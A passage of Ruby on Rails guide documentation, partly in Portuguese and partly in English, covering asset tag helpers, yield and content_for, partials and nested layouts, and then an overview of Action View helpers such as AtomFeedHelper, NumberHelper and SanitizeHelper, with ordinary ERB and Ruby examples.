Se você está usando o Rails com a Asset Pipeline habilitada, este helper criará um link para /assets/javascripts/ ao invés de public/javascripts que era usado em versões anteriores do Rails. Este link será disponibilizado pelo asset pipeline.

Um arquivo JavaScript dentro de uma aplicação ou engine Rails pode ir dentro de uma entre três possíveis pastas: app/assets, lib/assets ou vendor/assets. Estas pastas são explicadas com detalhes na seção Organização de Assets no Guia de Asset Pipeline.

Você pode especificar um caminho completo relativo à raiz do documento, ou uma URL, se você preferir. Por exemplo, pra ligar a um arquivo JavaScript que está dentro de um diretório chamado javascripts dentro deapp/assets, lib/assets ou vendor/assets, você faria isto:

<%= javascript_include_tag "main" %>

<%= javascript_include_tag "main" %> Copiar

O Rails criará então uma tag script tag como esta:

<script src='/assets/main.js'></script>

<script src='/assets/main.js'></script> Copiar

A requisição para este asset será então disponibilizada pela gem Sprockets.

Para incluir vários arquivos como app/assets/javascripts/main.js e app/assets/javascripts/columns.js ao mesmo tempo:

<%= javascript_include_tag "main", "columns" %>

<%= javascript_include_tag "main", "columns" %> Copiar

Para incluir app/assets/javascripts/main.js e app/assets/javascripts/photos/columns.js:

<%= javascript_include_tag "main", "/photos/columns" %>

<%= javascript_include_tag "main", "/photos/columns" %> Copiar

Para incluir http://example.com/main.js:

<%= javascript_include_tag "http://example.com/main.js" %>

<%= javascript_include_tag "http://example.com/main.js" %> Copiar

3.1.3 Ligando a Arquivos CSS com o método stylesheet_link_tag

O helper stylesheet_link_tag retorna uma tag HTML <link> para cada fonte fornecida.

Se você está usando o Rails com a "Asset Pipeline" habilitada, este helper criará um link para /assets/stylesheets/. Este link então será processado pela gem Sprockets. Um arquivo de stylesheet pode ser armazenado em um de três endereços: app/assets, lib/assets ou vendor/assets.

Você pode especificar um caminho completo relativo à raiz do documento, ou uma URL. Por exemplo, para ligar a um arquivo de stylesheet que está dentro de um diretório chamado stylesheets dentro de app/assets, lib/assets ou vendor/assets, você faria isto:

<%= stylesheet_link_tag "main" %>

<%= stylesheet_link_tag "main" %> Copiar

Para incluir app/assets/stylesheets/main.css e app/assets/stylesheets/columns.css:

<%= stylesheet_link_tag "main", "columns" %>

<%= stylesheet_link_tag "main", "columns" %> Copiar

Para incluir app/assets/stylesheets/main.css e app/assets/stylesheets/photos/columns.css:

<%= stylesheet_link_tag "main", "photos/columns" %>

<%= stylesheet_link_tag "main", "photos/columns" %> Copiar

Para incluir http://example.com/main.css:

<%= stylesheet_link_tag "http://example.com/main.css" %>

<%= stylesheet_link_tag "http://example.com/main.css" %> Copiar

Por padrão, o método stylesheet_link_tag cria links com media="screen" rel="stylesheet". Você pode sobrescrever qualquer um destes padrões especificando uma opção apropriada (:media, :rel):

<%= stylesheet_link_tag "main_print", media: "print" %>

<%= stylesheet_link_tag "main_print", media: "print" %> Copiar

3.1.4 Ligando a Imagens com o método image_tag

O helper image_tag monta uma tag <img /> que aponta para o arquivo especificado. Por padrão, os arquivos são carregados a partir de public/images.

Note que você deve especificar a extensão da imagem.

<%= image_tag "header.png" %>

<%= image_tag "header.png" %> Copiar

Você pode fornecer um caminho para a imagem se preferir:

<%= image_tag "icons/delete.gif" %>

<%= image_tag "icons/delete.gif" %> Copiar

Você pode fornecer um hash de opções adicionais para o HTML:

<%= image_tag "icons/delete.gif", {height: 45} %>

<%= image_tag "icons/delete.gif", {height: 45} %> Copiar

Você pode fornecer um texto alternativo para a imagem que será utilizado se a pessoa usuária estiver com imagens desabilitadas no navegador. Se você não especificar um texto alternativo de forma explícita, o valor padrão será o nome do arquivo, com a inicial maiúscula e sem extensão. Por exemplo, estas duas imagens devolvem o mesmo código:

<%= image_tag "home.gif" %>
<%= image_tag "home.gif", alt: "Home" %>

<%= image_tag "home.gif" %> <%= image_tag "home.gif", alt: "Home" %> Copiar

Você também pode especificar uma tag size especial, no formato "{largura}x{altura}":

<%= image_tag "home.gif", size: "50x20" %>

<%= image_tag "home.gif", size: "50x20" %> Copiar

Além da tag especial acima, você pode fornecer um hash final de opções HTML padrão, como :class, :id ou :name:

<%= image_tag "home.gif", alt: "Go Home",
id: "HomeImage",
class: "nav_bar" %>

<%= image_tag "home.gif", alt: "Go Home", id: "HomeImage", class: "nav_bar" %> Copiar

3.1.5 Ligando a Vídeos com o método video_tag

O helper video_tag monta uma tag HTML 5 <video> apontando para o arquivo especificado. Por padrão, os arquivos são carregados a partir de public/videos.

<%= video_tag "movie.ogg" %>

<%= video_tag "movie.ogg" %> Copiar

Produz

<video src="/videos/movie.ogg" />

<video src="/videos/movie.ogg" /> Copiar

Como o método image_tag, você pode fornecer um caminho absoluto ou relativo ao diretório public/videos. Além disso você pode especificar a opção size: "#{width}x#{height}" assim como no método image_tag. Tags de vídeo também podem ter qualquer uma das opções HTML especificadas no fim do método (id, class et al).

O método video_tag também suporta todas as opções da tag HTML <video> através do hash de opções HTML, incluindo:

- poster: "image_name.png", fornece uma imagem para colocar no lugar do vídeo antes de reproduzir.

- autoplay: true, inicia a reprodução do vídeo quando a página é carregada.

- loop: true, continua a reprodução do vídeo quando este chega no fim.

- controls: true, habilita controles fornecidos pelo navegador de forma que a pessoa usuária possa interagir com o vídeo.

- autobuffer: true, o vídeo será pré-carregado para a pessoa usuária quando a página carregar.

Você também pode especificar vários vídeos para reprodução consecutiva passando um array de vídeos para o método video_tag:

<%= video_tag ["trailer.ogg", "movie.ogg"] %>

<%= video_tag ["trailer.ogg", "movie.ogg"] %> Copiar

Isto irá produzir:

<video>
<source src="/videos/trailer.ogg">
<source src="/videos/movie.ogg">
</video>

<video> <source src="/videos/trailer.ogg"> <source src="/videos/movie.ogg"> </video> Copiar

3.1.6 Ligando a Arquivos de Áudio com o método audio_tag

O helper audio_tag monta uma tag HTML 5 <audio> apontando para o arquivo especificado. Por padrão, os arquivos são carregados a partir de public/audios.

<%= audio_tag "music.mp3" %>

<%= audio_tag "music.mp3" %> Copiar

Você pode fornecer um caminho para o arquivo de áudio se preferir:

<%= audio_tag "music/first_song.mp3" %>

<%= audio_tag "music/first_song.mp3" %> Copiar

Você também pode fornecer um hash de opções adicionais, como :id, :class etc.

Como o método video_tag, o método audio_tag tem opções especiais:

- autoplay: true, inicia a reprodução do áudio quando a página é carregada.

- controls: true, habilita controles fornecidos pelo navegador para a pessoa usuária interagir com o áudio.

- autobuffer: true, o áudio será pré-carregado para a pessoa usuária quando a página carregar.

3.2 Entendendo yield

Dentro do contexto de um layout, yield identifica uma seção onde o conteúdo da view deve ser inserido. A maneira mais simples de utilizar isto é colocar um único yield, dentro do qual todo o conteúdo da view renderizada no momento é inserido:

<html>
<head>
</head>
<body>
<%= yield %>
</body>
</html>

<html> <head> </head> <body> <%= yield %> </body> </html> Copiar

Você também pode criar um layout com várias regiões com yield:

<html>
<head>
<%= yield :head %>
</head>
<body>
<%= yield %>
</body>
</html>

<html> <head> <%= yield :head %> </head> <body> <%= yield %> </body> </html> Copiar

O body principal da view sempre manda o conteúdo para dentro do yield sem nome. Para direcionar o conteúdo para as tags yield com nome, usa-se o método content_for.

3.3 Usando o Método content_for

O método content_for lhe permite inserir conteúdo dentro de um bloco yield com nome no seu layout. Por exmeplo, esta view funcionaria com o layout que você acabou de ver:

<% content_for :head do %>
<title>A simple page</title>
<% end %>

<p>Hello, Rails!</p>

<% content_for :head do %> <title>A simple page</title> <% end %> <p>Hello, Rails!</p> Copiar

O resultado da renderização desta página dentro do layout fornecido seria este HTML:

<html>
<head>
<title>A simple page</title>
</head>
<body>
<p>Hello, Rails!</p>
</body>
</html>

<html> <head> <title>A simple page</title> </head> <body> <p>Hello, Rails!</p> </body> </html> Copiar

O método content_for ajuda muito quando o seu layout contém regiões distintas como sidebars e rodapés que precisam receber blocos de conteúdo próprios. Ele também é útil para inserir tags que carregam JavaScript ou arquivos css dentro do cabeçalho de um layout que seria genérico em outro cenário.

3.4 Usando Partials

Templates parciais - normalmente chamados de "partials" - são outro dispositivo para quebrar o processo de renderização em pedaços menores. Com uma partial, você pode mover o código para renderizar um pedaço específico de uma resposta para um arquivo próprio.

3.4.1 Nomeando Partials

Para renderizar uma partial como parte da view, usa-se o método render dentro da view:

<%= render "menu" %>

<%= render "menu" %> Copiar

Isto inclui o conteúdo de um arquivo chamado _menu.html.erb neste ponto dentro da view renderizada. Note o underscore inicial no nome do arquivo: partials recebem nomes com um underscore inicial para distingui-los de views regulares, mesmo sem usar esta notação em casos mais comuns. Isso continua sendo verdade mesmo quando você incluir uma partial de outro diretório:

<%= render "shared/menu" %>

<%= render "shared/menu" %> Copiar

Este código puxará a partial de app/views/shared/_menu.

3.4.2 Usando Partials para Simplificar Views

Um jeito de usar partials é tratá-los como algo equivalente a sub-rotinas: como um jeito de mover detalhes fora da view de forma que você entenda o que está acontecendo de forma mais fácil. Por exemplo, você pode ter uma view que estava assim:

<%= render "shared/ad_banner" %>

<h1>Products</h1>

<p>Here are a few of our fine products:</p>
...

<%= render "shared/footer" %>

<%= render "shared/ad_banner" %> <h1>Products</h1> <p>Here are a few of our fine products:</p> ... <%= render "shared/footer" %> Copiar

Aqui, os partials _ad_banner.html.erb e _footer.html.erb podem ter conteúdo que é compartilhado por muitas páginas na sua aplicação. Você não precisa ver os detalhes destas seções quando concentrar a atenção em uma página em particular.

Como em seções anteriores deste guia, o yield é uma ferramenta muito poderosa para fazer faxina nos seus layouts. Tenha em mente que isto é Ruby puro, então é possível usar isto quase em qualquer lugar. Por exemplo, nós podemos usar o yield para remover a duplicação das definições do layout de formulário para vários recursos similares:

- users/index.html.erb

<%= render "shared/search_filters", search: @q do |form| %>
<p>
Name contains: <%= form.text_field :name_contains %>
</p>
<% end %>

<%= render "shared/search_filters", search: @q do |form| %> <p> Name contains: <%= form.text_field :name_contains %> </p> <% end %> Copiar

- roles/index.html.erb

<%= render "shared/search_filters", search: @q do |form| %>
<p>
Title contains: <%= form.text_field :title_contains %>
</p>
<% end %>

<%= render "shared/search_filters", search: @q do |form| %> <p> Title contains: <%= form.text_field :title_contains %> </p> <% end %> Copiar

- shared/_search_filters.html.erb

<%= form_with model: search do |form| %>
<h1>Search form:</h1>
<fieldset>
<%= yield form %>
</fieldset>
<p>
<%= form.submit "Search" %>
</p>
<% end %>

<%= form_with model: search do |form| %> <h1>Search form:</h1> <fieldset> <%= yield form %> </fieldset> <p> <%= form.submit "Search" %> </p> <% end %> Copiar

Para conteúdo que é compartilhado por todas as páginas da sua aplicação, você pode usar partials diretamente dos layouts.

3.4.3 Layouts Parciais

Uma partial pode usar seu próprio arquivo, assim como uma view pode usar um layout. Por exemplo, você pode chamar uma partial assim:

<%= render partial: "link_area", layout: "graybar" %>

<%= render partial: "link_area", layout: "graybar" %> Copiar

Isto procura por uma partial chamado _link_area.html.erb e o renderiza usando o layout _graybar.html.erb. Note que layouts para partials seguem a mesma nomenclatura de underscore inicial que partials comuns, e ficam no mesmo diretório que a partial ao qual pertencem (não é o diretório principal layouts).

Note também que é necessário especificar :partial de forma explícita quando passar opções adicionais como :layout.

3.4.4 Passando Variáveis Locais

Você também pode passar variáveis locais para os partials, tornando-os ainda mais poderosos e flexíveis. Por exemplo, você pode utilizar esta técnica para reduzir duplicação entre páginas new e edit, enquanto mantém um pouco de conteúdo distinto:

- new.html.erb

<h1>New zone</h1>
<%= render partial: "form", locals: {zone: @zone} %>

<h1>New zone</h1> <%= render partial: "form", locals: {zone: @zone} %> Copiar

- edit.html.erb

<h1>Editing zone</h1>
<%= render partial: "form", locals: {zone: @zone} %>

<h1>Editing zone</h1> <%= render partial: "form", locals: {zone: @zone} %> Copiar

- _form.html.erb

<%= form_with model: zone do |form| %>
<p>
<b>Zone name</b><br>
<%= form.text_field :name %>
</p>
<p>
<%= form.submit %>
</p>
<% end %>

<%= form_with model: zone do |form| %> <p> <b>Zone name</b><br> <%= form.text_field :name %> </p> <p> <%= form.submit %> </p> <% end %> Copiar

Mesmo com o mesma partial renderizado dentro das duas views, o helper submit retorna "Create Zone" para a ação new e "Update Zone" para a ação edit.

Para passar uma variável local para uma partial apenas em casos específicos usa-se local_assigns.

- index.html.erb

<%= render user.articles %>

<%= render user.articles %> Copiar

- show.html.erb

<%= render article, full: true %>

<%= render article, full: true %> Copiar

- _article.html.erb

<h2><%= article.title %></h2>

<% if local_assigns[:full] %>
<%= simple_format article.body %>
<% else %>
<%= truncate article.body %>
<% end %>

<h2><%= article.title %></h2> <% if local_assigns[:full] %> <%= simple_format article.body %> <% else %> <%= truncate article.body %> <% end %> Copiar

Desta forma é possível utilizar a partial sem necessidade de declarar todas as variáveis locais.

Toda partial também tem uma variável local com o mesmo nome da partial (sem o underscore inicial). Você pode passar um objeto para esta variável local por via da opção :object.

<%= render partial: "customer", object: @new_customer %>

<%= render partial: "customer", object: @new_customer %> Copiar

Dentro da partial customer, a variável customer refere a @new_customer a partir da view superior.

Se você tem uma instância de um model para renderizar dentro de uma partial, você pode usar a sintaxe reduzida:

<%= render @customer %>

<%= render @customer %> Copiar

Presumindo que a variável de instância @customer contém uma instância do model Customer, isto utilizará _customer.html.erb para renderizá-la e passará a variável local customer dentro da partial que se refere à variável de instância @customer na view superior.

3.4.5 Renderizando Coleções

Partials são muito úteis para renderizar coleções. Quando você passa uma coleção para uma partial através da opção :collection, a partial será inserido uma vez para cada membro da coleção:

- index.html.erb

<h1>Products</h1>
<%= render partial: "product", collection: @products %>

<h1>Products</h1> <%= render partial: "product", collection: @products %> Copiar

- _product.html.erb

<p>Product Name: <%= product.name %></p>

<p>Product Name: <%= product.name %></p> Copiar

Quando uma partial é chamado com uma coleção pluralizada, então as instâncias individuais da partial tem acesso ao membro da coleção que é renderizado por via de uma variável nomeada com base na partial. Neste caso, a partial é _product, e dentro da partial _product, você pode referir a product para pegar a instância renderizada.

Há também uma sintaxe reduzida para isto. Presumindo question @products é uma coleção de instâncias Product, você pode simplesmente escrever isto dentro de index.html.erb para produzir o mesmo resultado:

<h1>Products</h1>
<%= render @products %>

<h1>Products</h1> <%= render @products %> Copiar

O Rails determina o nome da partial a utilizar olhando para o nome do model na coleção. Aliás, você pode até criar uma coleção heterogênea e fazer a renderização deste jeito, e o Rails escolherá a partial apropriado para cada membro da coleção:

- index.html.erb

<h1>Contacts</h1>
<%= render [customer1, employee1, customer2, employee2] %>

<h1>Contacts</h1> <%= render [customer1, employee1, customer2, employee2] %> Copiar

- customers/_customer.html.erb

<p>Customer: <%= customer.name %></p>

<p>Customer: <%= customer.name %></p> Copiar

- employees/_employee.html.erb

<p>Employee: <%= employee.name %></p>

<p>Employee: <%= employee.name %></p> Copiar

Neste caso, o Rails utilizará os partials de cliente ou empregado nas situações apropriadas para cada membro da coleção.

Caso a coleção esteja vazia, render retornará nil, então não deve haver dificuldades para fornecer conteúdo alternativo.

<h1>Products</h1>
<%= render(@products) || "There are no products available." %>

<h1>Products</h1> <%= render(@products) || "There are no products available." %> Copiar

3.4.6 Variáveis Locais

Para usar uma variável local personalizada dentro da partial, especifique a opção :as na chamada para a partial:

<%= render partial: "product", collection: @products, as: :item %>

<%= render partial: "product", collection: @products, as: :item %> Copiar

Com esta mudança, você pode acessar uma instância da coleção @products como a variável local item dentro da partial.

Você também pode passar variáveis locais arbitrárias para qualquer partial que você renderizar com a opção locals: {}:

<%= render partial: "product", collection: @products,
as: :item, locals: {title: "Products Page"} %>

<%= render partial: "product", collection: @products, as: :item, locals: {title: "Products Page"} %> Copiar

Neste caso, a partial terá acesso à variável local title com o valor "Products Page".

O Rails também cria uma variável de contagem disponível dentro de uma partial chamado pela coleção, que recebe um nome com base no título da partial seguido de _counter. Por exemplo, ao renderizar a coleção @products a partial _product.html.erb pode acessar a variável product_counter que registra o número de vezes que a partial foi renderizado dentro da view em questão. Note que isto também se aplica para quando o nome da partial sofre alterações através da opção as:. Por exemplo, a variável de contagem para o código acima seria item_counter.

Você também pode especificar um segunda partial para renderizar entre instâncias de uma partial principal usando a opção :spacer_template:

3.4.7 Spacer Templates

<%= render partial: @products, spacer_template: "product_ruler" %>

<%= render partial: @products, spacer_template: "product_ruler" %> Copiar

O Rails irá renderizar a partial _product_ruler (sem dados encaminhados pra ele) entre cada par de partials _product.

3.4.8 Layouts Parciais de Coleção

É possível usar a opção :layout quando renderizar coleções:

<%= render partial: "product", collection: @products, layout: "special_layout" %>

<%= render partial: "product", collection: @products, layout: "special_layout" %> Copiar

O layout será renderizado junto com a partial para cada item da coleção. As variáveis de objeto atual e object_counter ficam disponíveis no layout também, da mesma forma que ficam dentro da partial.

3.5 Usando Layouts Aninhados

Pode ser que sua aplicação necessite de um layout que seja ligeiramente diferente do layout da aplicação para dar suporte a um controller em particular. Ao invés de repetir o layout principal e editá-lo, é possível fazer isso através de layouts aninhados (algumas vezes chamados de sub-templates). Segue um exemplo:

Suponha que você tem este layout de ApplicationController:

- app/views/layouts/application.html.erb

<html>
<head>
<title><%= @page_title or "Page Title" %></title>
<%= stylesheet_link_tag "layout" %>
<style><%= yield :stylesheets %></style>
</head>
<body>
<div id="top_menu">Top menu items here</div>
<div id="menu">Menu items here</div>
<div id="content"><%= content_for?(:content) ? yield(:content) : yield %></div>
</body>
</html>

<html> <head> <title><%= @page_title or "Page Title" %></title> <%= stylesheet_link_tag "layout" %> <style><%= yield :stylesheets %></style> </head> <body> <div id="top_menu">Top menu items here</div> <div id="menu">Menu items here</div> <div id="content"><%= content_for?(:content) ? yield(:content) : yield %></div> </body> </html> Copiar

Nas páginas geradas pelo NewsController, você quer esconder o menu do topo e colocar um menu à direita:

- app/views/layouts/news.html.erb

<% content_for :stylesheets do %>
#top_menu {display: none}
#right_menu {float: right; background-color: yellow; color: black}
<% end %>
<% content_for :content do %>
<div id="right_menu">Right menu items here</div>
<%= content_for?(:news_content) ? yield(:news_content) : yield %>
<% end %>
<%= render template: "layouts/application" %>

<% content_for :stylesheets do %> #top_menu {display: none} #right_menu {float: right; background-color: yellow; color: black} <% end %> <% content_for :content do %> <div id="right_menu">Right menu items here</div> <%= content_for?(:news_content) ? yield(:news_content) : yield %> <% end %> <%= render template: "layouts/application" %> Copiar

É isto. A view News irá utilizar o novo layout, com um menu no topo e com um menu novo à direita dentro da div "content".

Há vários jeitos de conseguir resultados similares com esquemas diferentes de sub-templates através desta técnica. Note que não há limite no nível de aninhamento. É possível utilizar o método ActionView::render via render template: 'layouts/news' para criar um novo layout com base no layout News. Se você tem certeza que não criará outros templates a partir do layout News, você pode substituir o content_for?(:news_content) ? yield(:news_content) : yield com simplesmente yield.

Action View Helpers — Ruby on Rails...

1 Overview of helpers provided by Action View

WIP: Not all the helpers are listed here. For a full list see the API documentation

The following is only a brief overview summary of the helpers available in Action View. It's recommended that you review the API Documentation, which covers all of the helpers in more detail, but this should serve as a good starting point.

1.1 AssetTagHelper

This module provides methods for generating HTML that links views to assets such as images, JavaScript files, stylesheets, and feeds.

By default, Rails links to these assets on the current host in the public folder, but you can direct Rails to link to assets from a dedicated assets server by setting config.asset_host in the application configuration, typically in config/environments/production.rb. For example, let's say your asset host is assets.example.com:

config.asset_host = "assets.example.com"
image_tag("rails.png")
# => <img src="http://assets.example.com/images/rails.png" />

config.asset_host = "assets.example.com" image_tag("rails.png") # => <img src="http://assets.example.com/images/rails.png" /> Copiar

1.1.1 auto_discovery_link_tag

Returns a link tag that browsers and feed readers can use to auto-detect an RSS, Atom, or JSON feed.

auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", { title: "RSS Feed" })
# => <link rel="alternate" type="application/rss+xml" title="RSS Feed" href="http://www.example.com/feed.rss" />

auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", { title: "RSS Feed" }) # => <link rel="alternate" type="application/rss+xml" title="RSS Feed" href="http://www.example.com/feed.rss" /> Copiar

1.1.2 image_path

Computes the path to an image asset in the app/assets/images directory. Full paths from the document root will be passed through. Used internally by image_tag to build the image path.

image_path("edit.png") # => /assets/edit.png

image_path("edit.png") # => /assets/edit.png Copiar

Fingerprint will be added to the filename if config.assets.digest is set to true.

image_path("edit.png")
# => /assets/edit-2d1a2db63fc738690021fedb5a65b68e.png

image_path("edit.png") # => /assets/edit-2d1a2db63fc738690021fedb5a65b68e.png Copiar

1.1.3 image_url

Computes the URL to an image asset in the app/assets/images directory. This will call image_path internally and merge with your current host or your asset host.

image_url("edit.png") # => http://www.example.com/assets/edit.png

image_url("edit.png") # => http://www.example.com/assets/edit.png Copiar

1.1.4 image_tag

Returns an HTML image tag for the source. The source can be a full path or a file that exists in your app/assets/images directory.

image_tag("icon.png") # => <img src="/assets/icon.png" />

image_tag("icon.png") # => <img src="/assets/icon.png" /> Copiar

1.1.5 javascript_include_tag

Returns an HTML script tag for each of the sources provided. You can pass in the filename (.js extension is optional) of JavaScript files that exist in your app/assets/javascripts directory for inclusion into the current page or you can pass the full path relative to your document root.

javascript_include_tag "common"
# => <script src="/assets/common.js"></script>

javascript_include_tag "common" # => <script src="/assets/common.js"></script> Copiar

1.1.6 javascript_path

Computes the path to a JavaScript asset in the app/assets/javascripts directory. If the source filename has no extension, .js will be appended. Full paths from the document root will be passed through. Used internally by javascript_include_tag to build the script path.

javascript_path "common" # => /assets/common.js

javascript_path "common" # => /assets/common.js Copiar

1.1.7 javascript_url

Computes the URL to a JavaScript asset in the app/assets/javascripts directory. This will call javascript_path internally and merge with your current host or your asset host.

javascript_url "common"
# => http://www.example.com/assets/common.js

javascript_url "common" # => http://www.example.com/assets/common.js Copiar

1.1.8 stylesheet_link_tag

Returns a stylesheet link tag for the sources specified as arguments. If you don't specify an extension, .css will be appended automatically.

stylesheet_link_tag "application"
# => <link href="/assets/application.css" media="screen" rel="stylesheet" />

stylesheet_link_tag "application" # => <link href="/assets/application.css" media="screen" rel="stylesheet" /> Copiar

1.1.9 stylesheet_path

Computes the path to a stylesheet asset in the app/assets/stylesheets directory. If the source filename has no extension, .css will be appended. Full paths from the document root will be passed through. Used internally by stylesheet_link_tag to build the stylesheet path.

stylesheet_path "application" # => /assets/application.css

stylesheet_path "application" # => /assets/application.css Copiar

1.1.10 stylesheet_url

Computes the URL to a stylesheet asset in the app/assets/stylesheets directory. This will call stylesheet_path internally and merge with your current host or your asset host.

stylesheet_url "application"
# => http://www.example.com/assets/application.css

stylesheet_url "application" # => http://www.example.com/assets/application.css Copiar

1.2 AtomFeedHelper

1.2.1 atom_feed

This helper makes building an Atom feed easy. Here's a full usage example:

config/routes.rb

resources :articles

resources :articles Copiar

app/controllers/articles_controller.rb

def index
@articles = Article.all

respond_to do |format|
format.html
format.atom
end
end

def index @articles = Article.all respond_to do |format| format.html format.atom end end Copiar

app/views/articles/index.atom.builder

atom_feed do |feed|
feed.title("Articles Index")
feed.updated(@articles.first.created_at)

@articles.each do |article|
feed.entry(article) do |entry|
entry.title(article.title)
entry.content(article.body, type: 'html')

entry.author do |author|
author.name(article.author_name)
end
end
end
end

atom_feed do |feed| feed.title("Articles Index") feed.updated(@articles.first.created_at) @articles.each do |article| feed.entry(article) do |entry| entry.title(article.title) entry.content(article.body, type: 'html') entry.author do |author| author.name(article.author_name) end end end end Copiar

1.3 BenchmarkHelper

1.3.1 benchmark

Allows you to measure the execution time of a block in a template and records the result to the log. Wrap this block around expensive operations or possible bottlenecks to get a time reading for the operation.

<% benchmark "Process data files" do %>
<%= expensive_files_operation %>
<% end %>

<% benchmark "Process data files" do %> <%= expensive_files_operation %> <% end %> Copiar

This would add something like "Process data files (0.34523)" to the log, which you can then use to compare timings when optimizing your code.

1.4 CacheHelper

1.4.1 cache

A method for caching fragments of a view rather than an entire action or page. This technique is useful for caching pieces like menus, lists of news topics, static HTML fragments, and so on. This method takes a block that contains the content you wish to cache. See AbstractController::Caching::Fragments for more information.

<% cache do %>
<%= render "shared/footer" %>
<% end %>

<% cache do %> <%= render "shared/footer" %> <% end %> Copiar

1.5 CaptureHelper

1.5.1 capture

The capture method allows you to extract part of a template into a variable. You can then use this variable anywhere in your templates or layout.

<% @greeting = capture do %>
<p>Welcome! The date and time is <%= Time.now %></p>
<% end %>

<% @greeting = capture do %> <p>Welcome! The date and time is <%= Time.now %></p> <% end %> Copiar

The captured variable can then be used anywhere else.

<html>
<head>
<title>Welcome!</title>
</head>
<body>
<%= @greeting %>
</body>
</html>

<html> <head> <title>Welcome!</title> </head> <body> <%= @greeting %> </body> </html> Copiar

1.5.2 content_for

Calling content_for stores a block of markup in an identifier for later use. You can make subsequent calls to the stored content in other templates or the layout by passing the identifier as an argument to yield.

For example, let's say we have a standard application layout, but also a special page that requires certain JavaScript that the rest of the site doesn't need. We can use content_for to include this JavaScript on our special page without fattening up the rest of the site.

app/views/layouts/application.html.erb

<html>
<head>
<title>Welcome!</title>
<%= yield :special_script %>
</head>
<body>
<p>Welcome! The date and time is <%= Time.now %></p>
</body>
</html>

<html> <head> <title>Welcome!</title> <%= yield :special_script %> </head> <body> <p>Welcome! The date and time is <%= Time.now %></p> </body> </html> Copiar

app/views/articles/special.html.erb

<p>This is a special page.</p>

<% content_for :special_script do %>
<script>alert('Hello!')</script>
<% end %>

<p>This is a special page.</p> <% content_for :special_script do %> <script>alert('Hello!')</script> <% end %> Copiar

1.6 DateHelper

1.6.1 distance_of_time_in_words

Reports the approximate distance in time between two Time or Date objects or integers as seconds. Set include_seconds to true if you want more detailed approximations.

distance_of_time_in_words(Time.now, Time.now + 15.seconds)
# => less than a minute
distance_of_time_in_words(Time.now, Time.now + 15.seconds, include_seconds: true)
# => less than 20 seconds

distance_of_time_in_words(Time.now, Time.now + 15.seconds) # => less than a minute distance_of_time_in_words(Time.now, Time.now + 15.seconds, include_seconds: true) # => less than 20 seconds Copiar

1.6.2 time_ago_in_words

Like distance_of_time_in_words, but where to_time is fixed to Time.now.

time_ago_in_words(3.minutes.from_now) # => 3 minutes

time_ago_in_words(3.minutes.from_now) # => 3 minutes Copiar

1.7 DebugHelper

Returns a pre tag that has object dumped by YAML. This creates a very readable way to inspect an object.

my_hash = { 'first' => 1, 'second' => 'two', 'third' => [1,2,3] }
debug(my_hash)

my_hash = { 'first' => 1, 'second' => 'two', 'third' => [1,2,3] } debug(my_hash) Copiar

<pre class='debug_dump'>---
first: 1
second: two
third:
- 1
- 2
- 3
</pre>

<pre class='debug_dump'>--- first: 1 second: two third: - 1 - 2 - 3 </pre> Copiar

1.8 FormHelper

Form helpers are designed to make working with models much easier compared to using just standard HTML elements by providing a set of methods for creating forms based on your models. This helper generates the HTML for forms, providing a method for each sort of input (e.g., text, password, select, and so on). When the form is submitted (i.e., when the user hits the submit button or form.submit is called via JavaScript), the form inputs will be bundled into the params object and passed back to the controller.

You can learn more about form helpers in the Action View Form Helpers Guide.

1.9 JavaScriptHelper

Provides functionality for working with JavaScript in your views.

1.9.1 escape_javascript

Escape carrier returns and single and double quotes for JavaScript segments.

1.9.2 javascript_tag

Returns a JavaScript tag wrapping the provided code.

javascript_tag "alert('All is good')"

javascript_tag "alert('All is good')" Copiar

<script>
//<![CDATA[
alert('All is good')
//]]>
</script>

<script> //<![CDATA[ alert('All is good') //]]> </script> Copiar

1.10 NumberHelper

Provides methods for converting numbers into formatted strings. Methods are provided for phone numbers, currency, percentage, precision, positional notation, and file size.

1.10.1 number_to_currency

Formats a number into a currency string (e.g., $13.65).

number_to_currency(1234567890.50) # => $1,234,567,890.50

number_to_currency(1234567890.50) # => $1,234,567,890.50 Copiar

1.10.2 number_to_human_size

Formats the bytes in size into a more understandable representation; useful for reporting file sizes to users.

number_to_human_size(1234)    # => 1.2 KB
number_to_human_size(1234567) # => 1.2 MB

number_to_human_size(1234) # => 1.2 KB number_to_human_size(1234567) # => 1.2 MB Copiar

1.10.3 number_to_percentage

Formats a number as a percentage string.

number_to_percentage(100, precision: 0) # => 100%

number_to_percentage(100, precision: 0) # => 100% Copiar

1.10.4 number_to_phone

Formats a number into a phone number (US by default).

number_to_phone(1235551234) # => 123-555-1234

number_to_phone(1235551234) # => 123-555-1234 Copiar

1.10.5 number_with_delimiter

Formats a number with grouped thousands using a delimiter.

number_with_delimiter(12345678) # => 12,345,678

number_with_delimiter(12345678) # => 12,345,678 Copiar

1.10.6 number_with_precision

Formats a number with the specified level of precision, which defaults to 3.

number_with_precision(111.2345)               # => 111.235
number_with_precision(111.2345, precision: 2) # => 111.23

number_with_precision(111.2345) # => 111.235 number_with_precision(111.2345, precision: 2) # => 111.23 Copiar

1.11 SanitizeHelper

The SanitizeHelper module provides a set of methods for scrubbing text of undesired HTML elements.

1.11.1 sanitize

This sanitize helper will HTML encode all tags and strip all attributes that aren't specifically allowed.

sanitize @article.body

sanitize @article.body Copiar

If either the :attributes or :tags options are passed, only the mentioned attributes and tags are allowed and nothing else.

sanitize @article.body, tags: %w(table tr td), attributes: %w(id class style)

sanitize @article.body, tags: %w(table tr td), attributes: %w(id class style) Copiar

To change defaults for multiple uses, for example adding table tags to the default:

class Application < Rails::Application
config.action_view.sanitized_allowed_tags = 'table', 'tr', 'td'
end

class Application < Rails::Application config.action_view.sanitized_allowed_tags = 'table', 'tr', 'td' end Copiar

1.11.2 sanitize_css(style)

Sanitizes a block of CSS code.

1.11.3 strip_links(html)

Strips all link tags from text leaving just the link text.

strip_links('<a href="https://rubyonrails.org">Ruby on Rails</a>')
# => Ruby on Rails

strip_links('<a href="https://rubyonrails.org">Ruby on Rails</a>') # => Ruby on Rails Copiar

strip_links('emails to <a href="mailto:me@email.com">me@email.com</a>.')
# => emails to me@email.com.

strip_links('emails to <a href="mailto:me@email.com">me@email.com</a>.') # => emails to me@email.com. Copiar

strip_links('Blog: <a href="http://myblog.com/">Visit</a>.')
# => Blog: Visit.

strip_links('Blog: <a href="http://myblog.com/">Visit</a>.') # => Blog: Visit. Copiar

1.11.4 strip_tags(html)

Strips all HTML tags from the html, including comments. This functionality is powered by the rails-html-sanitizer gem.

strip_tags("Strip <i>these</i> tags!")
# => Strip these tags!

